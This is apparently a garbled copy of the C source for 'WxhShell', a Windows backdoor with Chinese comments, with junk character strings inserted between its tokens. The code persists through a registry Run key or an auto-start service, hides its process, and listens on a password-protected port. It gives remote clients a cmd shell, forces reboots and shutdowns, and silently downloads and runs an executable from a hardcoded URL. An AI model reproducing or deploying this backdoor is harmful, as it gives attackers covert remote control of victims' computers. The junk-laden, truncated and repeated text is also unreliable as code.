(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v'$ykZ!Z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Pd,!& xT/9kM&}L if (!NtQueryInformationProcess) return 0; |/t K-c6J =3pD:L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }R\B.2#M_@ if(!hProcess) return 0; Mi;Tn;3er lvG3<ls0K$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wb@]>MJ}[s nT)~w
s CloseHandle(hProcess); <%(f9j |B,dEx/uU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r"6lLc if(hProcess==NULL) return 0; HN^w'I'bp hN!.@L HMODULE hMod; ayN*fiV] char procName[255];
hgNY[, unsigned long cbNeeded; *:k~g].Iz "ngSilH?D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _8Pmv$ |:{g?4Mi CloseHandle(hProcess); "hJ7 Vv_ e3G7K8 if(strstr(procName,"services")) return 1; // 以服务启动 rE9Ta8j6 e_tZja2s return 0; // 注册表启动 T<!\B] } <d3PDO@w/ Bi %Z2/ // 主模块 A3m{jbh int StartWxhshell(LPSTR lpCmdLine) @263)`9G { &9S8al
8" SOCKET wsl; )j$b9ZBk BOOL val=TRUE; PEK.Kt\M int port=0; W`
WLW8Qsw struct sockaddr_in door; f6@^Mg c8H9_6 if(wscfg.ws_autoins) Install(); "v*oga% Vf@S8H port=atoi(lpCmdLine); 7uWJ6Wk kq-mr if(port<=0) port=wscfg.ws_port; $K5ni {M; @'6S[zU WSADATA data; WK/b=p|#o if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %g2/o^c* ^Tb}]aHg if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [i2A{(x setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1jR=h7^= door.sin_family = AF_INET; GLbc/qs door.sin_addr.s_addr = inet_addr("127.0.0.1"); PmuEL@'^ U door.sin_port = htons(port); Nv}U/$$S 5]A$P\7~1 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S,ouj;B closesocket(wsl); R !:eYoQ return 1; KqT#zj } ^K1~eb*K 5i}CzA96 if(listen(wsl,2) == INVALID_SOCKET) { G.A=hGw closesocket(wsl); s8`}x _k= return 1; uD0(aqAZ } -+j9X;h: Wxhshell(wsl); ntA[[OIFO WSACleanup(); :V5!C$QV XZUB*P}]D return 0; 5p#o1I 46Y7HTwE } >uP{9kDm ~:ub // 以NT服务方式启动 :JTRRv VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =DmPPl{ { 82^
z-t{ DWORD status = 0; )n[`Z# DWORD specificError = 0xfffffff; )Ta]6 ur~Tql serviceStatus.dwServiceType = SERVICE_WIN32; N>F2
c)rm serviceStatus.dwCurrentState = SERVICE_START_PENDING; it/C y\f serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dctA`W@:- serviceStatus.dwWin32ExitCode = 0; |2+F I<v4 serviceStatus.dwServiceSpecificExitCode = 0; eJVOVPg<, serviceStatus.dwCheckPoint = 0; n41\y:CAo serviceStatus.dwWaitHint = 0; Wj m\}\RnZu hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .LGkr@P if (hServiceStatusHandle==0) return; 8+g|>{Vov ]
fwTi(4y status = GetLastError(); Js^r]=\F' if (status!=NO_ERROR) iC5JU&l { mXN1b! serviceStatus.dwCurrentState = SERVICE_STOPPED; Tg{dIh.Q~O serviceStatus.dwCheckPoint = 0; 8YJqM,t5) serviceStatus.dwWaitHint = 0; ([4{n serviceStatus.dwWin32ExitCode = status; 2!~>)N serviceStatus.dwServiceSpecificExitCode = specificError; Do[ F+Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); +2k|g2 return; ytBxe] } ^JF_;~C gYH:EuY, serviceStatus.dwCurrentState = SERVICE_RUNNING; Jj^<:t5{rN serviceStatus.dwCheckPoint = 0; 7]HIE]# serviceStatus.dwWaitHint = 0; &|&YRHv if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aBA#\eV } ~M9n<kmE PUFW^"LV // 处理NT服务事件,比如:启动、停止 2YP"nj# VOID WINAPI NTServiceHandler(DWORD fdwControl) 3K'o&>}L {
"ppb%= switch(fdwControl) qeO6}A"^| { ^2?O+ =,F case SERVICE_CONTROL_STOP: 9|kEq>d serviceStatus.dwWin32ExitCode = 0; Wp9
2sm+ serviceStatus.dwCurrentState = SERVICE_STOPPED; !^"!fuoNC serviceStatus.dwCheckPoint = 0; 1-Wnc'(OK serviceStatus.dwWaitHint = 0; Z@aL"@2]a { J'Mgj$T $ SetServiceStatus(hServiceStatusHandle, &serviceStatus); f!R^;'a } %RD7=Z-z return; u4*]jt;H case SERVICE_CONTROL_PAUSE: ]zR;%p serviceStatus.dwCurrentState = SERVICE_PAUSED; (9[C0e S break; {pJ@I=q case SERVICE_CONTROL_CONTINUE: H/la'f#o% serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Bq2?;5 break; +q,n}@y= case SERVICE_CONTROL_INTERROGATE: [Jh))DIx break; n~>CE"q }; !m O] zn SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZtK%b+MBP } UeiJhH,u t:j07 ,1~ // 标准应用程序主函数 d~f0]O int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j]F3[gpc { k-PRV8WO 9C'+~<l // 获取操作系统版本 iqKfMoy5 OsIsNt=GetOsVer(); xA1pDrfC/ GetModuleFileName(NULL,ExeFile,MAX_PATH); .+~kJ0~Y J<:D~@qq // 从命令行安装 Sw9mrhzJfe if(strpbrk(lpCmdLine,"iI")) Install(); ](6vG$\ ghd[G} // 下载执行文件 q>l kLHS if(wscfg.ws_downexe) { *z:lq2"G if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5N</Z6f'o WinExec(wscfg.ws_filenam,SW_HIDE); ScmzbDu } \c^jaK5 +q?0A^C> if(!OsIsNt) { X!HSS/' // 如果时win9x,隐藏进程并且设置为注册表启动 ~ilBw:L-3 HideProc(); hr"+0KeX StartWxhshell(lpCmdLine); 3K]0sr } Evgq}3 else +A3\Hj&W if(StartFromService()) E0%Y%PQ**{ // 以服务方式启动 ZaV66Y> StartServiceCtrlDispatcher(DispatchTable); 8}b[Q/h! else TZ_'nB~ // 普通方式启动 >-WOw StartWxhshell(lpCmdLine); 3T^dgWXEG t-m,~Io W return 0; i]WlMC6 } ^7<m lr -.3k
vL 1ORi]` 5Kxk9{\8 =========================================== [4yQbqe; gx
R|S
*J5euA5= $ =a$z" l'8wPmy%N #mxfU>vQ: " B>21A9& Gf.o{ #include <stdio.h> l+qtA~V&2 #include <string.h> p arG #include <windows.h> -\v8i.w0 #include <winsock2.h> 4?uG> ;V #include <winsvc.h> Y|jesa {x #include <urlmon.h> q9]L!V9Rv .[s82c]]6 #pragma comment (lib, "Ws2_32.lib") T<GD !j( #pragma comment (lib, "urlmon.lib") e!'u{>u z3LPR:&Z #define MAX_USER 100 // 最大客户端连接数 IcA~f@ #define BUF_SOCK 200 // sock buffer ^PpFI #define KEY_BUFF 255 // 输入 buffer %*}f<k{6 H43D=N& #define REBOOT 0 // 重启 =%G[vm/-) #define SHUTDOWN 1 // 关机 "b7C0NE izo
$0 #define DEF_PORT 5000 // 监听端口 =_3qUcOP .q }k #define REG_LEN 16 // 注册表键长度 k] YGD #define SVC_LEN 80 // NT服务名长度 j)*nE./3 YJsi5 // 从dll定义API `vBa.)u typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W<l(C!{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OUMr}~/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4tTJE<y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :E*U*#h/ G"wQ(6J@ // wxhshell配置信息 ywte\} struct WSCFG { $Bb/GXn{\ int ws_port; // 监听端口 MqH~L?~}| char ws_passstr[REG_LEN]; // 口令 L,L7WObA int ws_autoins; // 安装标记, 1=yes 0=no pQ8+T|0x char ws_regname[REG_LEN]; // 注册表键名 \ }f* char ws_svcname[REG_LEN]; // 服务名 %Ski5q char ws_svcdisp[SVC_LEN]; // 服务显示名 `$- Ib^ char ws_svcdesc[SVC_LEN]; // 服务描述信息 =Y[Ae7e char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _r'M^=yx[ int ws_downexe; // 下载执行标记, 1=yes 0=no W -&5
v char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rg.if"o char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IrC=9%pd$R Eq{TZV }; "-%H</ ~yN,F pD // default Wxhshell configuration ;wrgpP3 struct WSCFG wscfg={DEF_PORT, YvX I "xuhuanlingzhe", *6tN o-)^ 1, 6Tnzg`0I "Wxhshell", t;3.; "Wxhshell", EM}z-@A> "WxhShell Service", (z7#KJ1+Aw "Wrsky Windows CmdShell Service", @35shLs "Please Input Your Password: ", ,vPF=wq 1, lH.2H "http://www.wrsky.com/wxhshell.exe", RSC-+c6 1 "Wxhshell.exe" M-Bw9`#Jw }; $(U|JR@ (i8t^ // 消息定义模块 8vK&d> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h;->i] char *msg_ws_prompt="\n\r? for help\n\r#>"; D2bUSRrb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \ 714 Pyy char *msg_ws_ext="\n\rExit."; LNkyV*TI char *msg_ws_end="\n\rQuit."; )w-?|2-w5 char *msg_ws_boot="\n\rReboot..."; t=AR>M!w~ char *msg_ws_poff="\n\rShutdown..."; "T|\ char *msg_ws_down="\n\rSave to "; s9iM hCu| j$6}r char *msg_ws_err="\n\rErr!"; %L3]l char *msg_ws_ok="\n\rOK!"; 5oS\uX| %:*HzYf char ExeFile[MAX_PATH]; `Nj|}^A int nUser = 0; 3nO|A: t HANDLE handles[MAX_USER]; o9i\[Ul int OsIsNt; (&(f`c@I ,tZwXP{ SERVICE_STATUS serviceStatus; PBmt.yF SERVICE_STATUS_HANDLE hServiceStatusHandle; Tx*m
p+q \!r^6'A // 函数声明 Y{KJk'xN5W int Install(void);
cO:x{~ int Uninstall(void); \"SI-`x int DownloadFile(char *sURL, SOCKET wsh); 7F.,Xvw&@ int Boot(int flag); J}JnJV8|G void HideProc(void); r`2& o int GetOsVer(void); DI_mF#5q int Wxhshell(SOCKET wsl); \1ZfSc void TalkWithClient(void *cs); +-hmITJv int CmdShell(SOCKET sock); o0 Ae*Y0 int StartFromService(void); X6)LpMm int StartWxhshell(LPSTR lpCmdLine); nFqMS|EN -Q;
w4@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h>wU';5#f VOID WINAPI NTServiceHandler( DWORD fdwControl ); U&6f}=vC SZ_hG D 0 // 数据结构和表定义 +~-|(
y SERVICE_TABLE_ENTRY DispatchTable[] = ZU`"^FQ3A { +"!IVHY {wscfg.ws_svcname, NTServiceMain}, b|N EU-oy {NULL, NULL} $)U
RY~;i }; Nx99dr 4T:ZEvdzf // 自我安装 M-NR!? 9 int Install(void) J8jbtL O' { O%Mh
g\#B char svExeFile[MAX_PATH]; IY'S<)vOY HKEY key; wNlp4Z'[ strcpy(svExeFile,ExeFile); Fq8Z:;C8 OHU(?TBo // 如果是win9x系统,修改注册表设为自启动 s[hD9$VB> if(!OsIsNt) { e*tOXXY1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %vW@_A~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Y[|:_+5 RegCloseKey(key); s
SDBl~g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^dro*a, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aePk^?KbB RegCloseKey(key); mwt3EV5 return 0; B#=dz,} } Af;$}P } n}"MF>zDK } '`S,d[~ else { C`fQ` RL\ k]Yd4CC2 // 如果是NT以上系统,安装为系统服务 MD +Q_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h T<v8 if (schSCManager!=0) Yv>% 5` { [ACa<U/ SC_HANDLE schService = CreateService .mMM]*e[0 ( MZ0 J/@( schSCManager, +BESO wscfg.ws_svcname, DUaj]V{_^ wscfg.ws_svcdisp, HM`;%0T0( SERVICE_ALL_ACCESS, [l0>pHl@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7a2uNt,X SERVICE_AUTO_START, 8q_nOGd SERVICE_ERROR_NORMAL, WawOap svExeFile, .RdnJ&K* NULL, {a(TT)d NULL, Zf ;U=]R NULL, Z\n
nVM= NULL, rAgb<D@,H NULL lwSA!W ); Pwf":U) if (schService!=0) |Gz(q4 { yN9/'c~ CloseServiceHandle(schService); Vf0m7BJc3 CloseServiceHandle(schSCManager); G#UO>i0jy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {>9vm!<[*\ strcat(svExeFile,wscfg.ws_svcname); !Eu}ro.} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A\LMmg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >o.4sN@ RegCloseKey(key); NSZ9M%7 return 0; cJMp`DQzc } *y0TtEd; } 5y0N }} CloseServiceHandle(schSCManager); H>X:#xOA_ } FG/1!8F } ]v=A}}kS ',P$m&z return 1; ^?}-x } @cukoLAn -e(e;e // 自我卸载 yhc}*BMZ int Uninstall(void) #ozui-u> { u^, eHO HKEY key; O |!cPB: \ ,D>zF if(!OsIsNt) { Zjd9@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DHQS7%)f` RegDeleteValue(key,wscfg.ws_regname); tnE), RegCloseKey(key); |0OY>5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g8kS}7/ RegDeleteValue(key,wscfg.ws_regname); -!q^/ux RegCloseKey(key); @Z.BYC return 0; 52ExRG S } *+(rQ";x } &n9&k
Em } 9k/L m else { %:t! u&:q ZmI0|r}QbY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G>=Fdt7Oc if (schSCManager!=0) :CLWmMC_ { .J<t] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hi`[ if (schService!=0) =WT&unw} { ;* QK^ # if(DeleteService(schService)!=0) { P?p]sLrP CloseServiceHandle(schService); LAkBf CloseServiceHandle(schSCManager); ,?P< =M return 0; \HXq~Y } !0dQfj^_ CloseServiceHandle(schService); {xx}xib3 } eR%\_;}7; CloseServiceHandle(schSCManager); i\<S ; } nrHC;R.nE } )(0if0D4 ~UJ.A<>Fh return 1; URceq2_ } n]df)a .fbY2b([ // 从指定url下载文件 FQJiLb._Z int DownloadFile(char *sURL, SOCKET wsh) @Ddz|4 vEi { Mgr?D HRESULT hr; dP?prT char seps[]= "/"; tL3R<' char *token; ynv{
rMl char *file; GF6 o char myURL[MAX_PATH]; sC.b'1P char myFILE[MAX_PATH]; <pfl>Uf - w*fS,O strcpy(myURL,sURL); O 2-n- token=strtok(myURL,seps); Tf~eH!~0 while(token!=NULL) |Fe[RGi+8 { FY^2 Y file=token; :`e#I/, token=strtok(NULL,seps); _aR{B-E } mFg$;F -=nk,cYn GetCurrentDirectory(MAX_PATH,myFILE); Mh*r)B~%[ strcat(myFILE, "\\"); ;Ax-f04gG strcat(myFILE, file); P&sWn?q Ol send(wsh,myFILE,strlen(myFILE),0); ?<${?L> send(wsh,"...",3,0); }%p:Xv@X! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ydy TDn if(hr==S_OK) \?;
`_E`j return 0; kh9'W<tE else M2Jf-2 return 1; Sp492W+ z3y{0<3 } BbI%tmA7 Hl`OT5pNf // 系统电源模块 ?D6uviQg int Boot(int flag) `wXK&R<` { :ZM9lBY h HANDLE hToken; ;.V/ngaj TOKEN_PRIVILEGES tkp; z~#;[bER B:Ts_9* if(OsIsNt) { 8@;]@c)m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f^FFn32u LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HEBeJ2w tkp.PrivilegeCount = 1; pR$(V4> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [3jJQ3O, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =0pt-FQ if(flag==REBOOT) { ^ +SE_ -+] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o/w3b8 return 0; hyH[`wiq } =vbG'_[7 else { o]4]fLQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v>_@D@pr return 0; {Sf[<I } h^SWb91"G } 5EFt0?G else { {Rkd;`Q`! if(flag==REBOOT) { 8M99cx*K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8:$h&aBI return 0; jVQy{8{G } 6Ijt2c'A} else { M]s\F(*ib if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L[x`i'0B return 0; w"v!+~/9 } qYC&0`:H } PMfW;%I. Cz0FA]-g return 1; %T({;/ } )2&3D"V AELj"=RA // win9x进程隐藏模块 "'U^8NA2 void HideProc(void) cUY- { )[ V8YiyU $Zu?Gd? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X'`n>1z if ( hKernel != NULL ) QTy=VLk43 { o-\h;aQJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [E1qv; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &t=:xVn-M FreeLibrary(hKernel); w"j>^#8 } 9{u= d4| )= return; C%z)D1- } |0n )U( rtj/&> // 获取操作系统版本 B[N]=V int GetOsVer(void) ZSuoD$~k[ { `?z('FV OSVERSIONINFO winfo; J :O!4gI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $94lF~ GetVersionEx(&winfo); b j&!$') if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t<45[~[ return 1; p*Z<DEh# else Z[#8F&QV!m return 0; t\M6 d6 } H8eEBMGo ~P\4
N // 客户端句柄模块 c8&3IzZ int Wxhshell(SOCKET wsl) LeCc`x,5 { pr<u
5 SOCKET wsh; Cog }a struct sockaddr_in client; nt2b}u>* DWORD myID; \rr"EAk] *y4DK6OFe while(nUser<MAX_USER) {y"Kn'1 { DGHSyB^+1 int nSize=sizeof(client); C?H~L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ae2N"%Ej if(wsh==INVALID_SOCKET) return 1; %e:+@%] -5*OSA:8x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OLx;j+p
if(handles[nUser]==0) x// uF closesocket(wsh); g:!U,<C^a else "]eB2k_> nUser++; /we]i1-9 } ThV>gn5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k+"]; ;Rv WF ) return 0; .i;.5)shsu } iQO4IT yy5|8L // 关闭 socket vd%AV(]<LJ void CloseIt(SOCKET wsh) ndFVP;q { G&h@ closesocket(wsh); N8nt2r<h nUser--; uihH")Mo ExitThread(0); Ar)EbGId } p-j6H ! VT$U6 // 客户端请求句柄 {`):X _$T void TalkWithClient(void *cs) `% \CO` { u.A}&'H e#hg,I SOCKET wsh=(SOCKET)cs; iY>P7Uvvz char pwd[SVC_LEN]; ]U#of O char cmd[KEY_BUFF]; 29=ob(" char chr[1]; P<>NV4 int i,j; +tk`$g U`[viH>K while (nUser < MAX_USER) { v{$?Ow T/u fTpG>*{p if(wscfg.ws_passstr) { Lv@WI6DM
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m$C1Ea-wnT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;%0kzIvP //ZeroMemory(pwd,KEY_BUFF); j=pg5T i=0; V]Te_ >E;w while(i<SVC_LEN) { xbi\KT`~ <cZ/_+H%C // 设置超时 .RmFYV0, fd_set FdRead; ITl>HlS struct timeval TimeOut; g}R#0gkdk} FD_ZERO(&FdRead); V0D&bN* FD_SET(wsh,&FdRead); +8xT}mX TimeOut.tv_sec=8; FI: H/e5[ TimeOut.tv_usec=0; q0q-Coh> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >!qtue7B if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aoz+T h3 \A^8KVE! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dfAw\7v/ pwd=chr[0]; y=sae if(chr[0]==0xd || chr[0]==0xa) { &KBDrJEX pwd=0; 8VG}- break; &*o4~6pQ# } ;HAvor=? i++; b5MU$}: } hlreeXv WL(Y1>|j // 如果是非法用户,关闭 socket .h4NG4FIF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KC&XOI % } J0vQqTaT |X*y-d77W send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [(a3ljbRX send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
6p@[U>` #|8%h while(1) { 6|'7Mr~\ IAzFwlO9 ZeroMemory(cmd,KEY_BUFF); ~-NSIV:f QxPPgn7' // 自动支持客户端 telnet标准 E$z- |-{> j=0; UhDf6A`] while(j<KEY_BUFF) { y$nI?:d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wm" q8-<< cmd[j]=chr[0]; 4$, W\d if(chr[0]==0xa || chr[0]==0xd) { s>G]U)d<' cmd[j]=0; x>mI$K(6M break; &Jb$YKt } AvZ5?rN$ j++; *tT}N@<% } uWClT): byE0Z vDM // 下载文件 w%TrL+v if(strstr(cmd,"http://")) { "0nsY E send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5m'AT]5Tn_ if(DownloadFile(cmd,wsh)) CG@Fn\J send(wsh,msg_ws_err,strlen(msg_ws_err),0); #hn else Jlb{1B$7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OA6i/3 #8 } i"n_oO else { dHiir&Rd9` 0+qC_ISns switch(cmd[0]) { :4 z\Q] ]!!?gnPd5 // 帮助 bJ
6ivz case '?': { /N%i6t<xU send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ny+r>>3Td break; 2V%z= } `WCL-OoZc5 // 安装 "|J6*s case 'i': { $X-PjQb1Bb if(Install()) B_[I/ ? send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( sl{Rgxe* else '{~[e** send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3^&`E}r break; uUx7>algF } Q3=5q w^ // 卸载 ^{IZpT3 case 'r': { ud)WH|Z if(Uninstall()) Wk3-J&QbS send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bca$%3M else *)B \M> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !nJl.Y$ break; NTZ3Np` } vf>d{F^rv // 显示 wxhshell 所在路径 05HCr"k case 'p': { YR~e_cA: char svExeFile[MAX_PATH]; rxol7"2l strcpy(svExeFile,"\n\r"); 2+)h!y] strcat(svExeFile,ExeFile); ";&PtLe send(wsh,svExeFile,strlen(svExeFile),0); ns5Dydo{T break; HH6H4K3Zj } ;c]O *\/ // 重启 3k>#z%// case 'b': { t1
9f%d send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); saZK+kD4I if(Boot(REBOOT)) _8K8Ai-~.> send(wsh,msg_ws_err,strlen(msg_ws_err),0); C_ d|2C6 else { ^Lfwoy7R closesocket(wsh); IMdp" ExitThread(0); 6A5.n?B{ } Z>3~n break; TBJ?8W( } h7K,q S // 关机 WwnBe"7M case 'd': { cf>lY send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2<n18-|OQ if(Boot(SHUTDOWN)) nXfz@q send(wsh,msg_ws_err,strlen(msg_ws_err),0); N
GnE else { $,r%@'= & closesocket(wsh); "#0P*3-c ExitThread(0); 0^J%&1a Ic } b0h\l#6 break; ?RG;q } HES$. a // 获取shell _'V o3b case 's': { \,p?pL<' CmdShell(wsh); bL0]Yuh closesocket(wsh); _O87[F1 ExitThread(0); >#mKM%T2MJ break; ]
X]!xvN@ } o8E<_rei // 退出 zSsBbu: case 'x': { O3slYd&V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <)O#Y76s CloseIt(wsh); m^ar:mK@ break; '#j6ZC/? } 5M)B // 离开 a8[%-eW, case 'q': { ny^uNIRPR send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;{iTSsb closesocket(wsh); (qc<'$o WSACleanup(); 5B8/"G exit(1); 5)k/4l ' break; {nA+-=T } ;*Y+. ?>a } 32J/ } IWN18aaL? 60>g{1] // 提示信息 %O(W;O if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l&] %APL } 'X&"(M } *}(B"FSO d@Bd*iI< return; J$jLGy& ' } 1,Pg^Xu
TK>~)hc} // shell模块句柄 r`)'Kd int CmdShell(SOCKET sock) v,rKuvc' { |z}VP-L STARTUPINFO si; <7ag=IgDy ZeroMemory(&si,sizeof(si)); 9K&YHg:1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I7f:T N si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uul5h8F PROCESS_INFORMATION ProcessInfo; y?}<SnjP: char cmdline[]="cmd"; @Y9tkJIt CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \)MzUOZn return 0; pF~aR]Q } ] TZ/=Id 3ox|Mz<aZX // 自身启动模式 /b4>0DXT5 int StartFromService(void) [*ug:PG { `v/p4/ typedef struct H}usL)0&& { rXGaav9 DWORD ExitStatus; 1[RI
07g7* DWORD PebBaseAddress; 4*q6#=G DWORD AffinityMask; F A%BzU5^ DWORD BasePriority; ;t.)A3 PL ULONG UniqueProcessId; <{eJbN p ULONG InheritedFromUniqueProcessId; bSTTr<W } PROCESS_BASIC_INFORMATION; 3Z}m5f`t <@n3vO6 PROCNTQSIP NtQueryInformationProcess; 7$L*nf K1-3!G static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~>%% kQt static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gPpk0LZi b|.<rV'BTt HANDLE hProcess; 8feLhWg'P PROCESS_BASIC_INFORMATION pbi; ]e?L,1- &c=
3BEh HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yW}x if(NULL == hInst ) return 0; 91FVe $cO-+Mr-~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [Z]CBEE g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %LnG^L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); > mP([] wr6(C: if (!NtQueryInformationProcess) return 0; GRgpy :-+j,G9t hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T'14OU2N{Y if(!hProcess) return 0; o<Rrr, o~'UWU'# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <ZoMKUuB S"Ag7i CloseHandle(hProcess); ~:UAL}b{\~ )5s-"o< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #4^D'r>pJ if(hProcess==NULL) return 0; |OBZSk1jp 0&6(y*
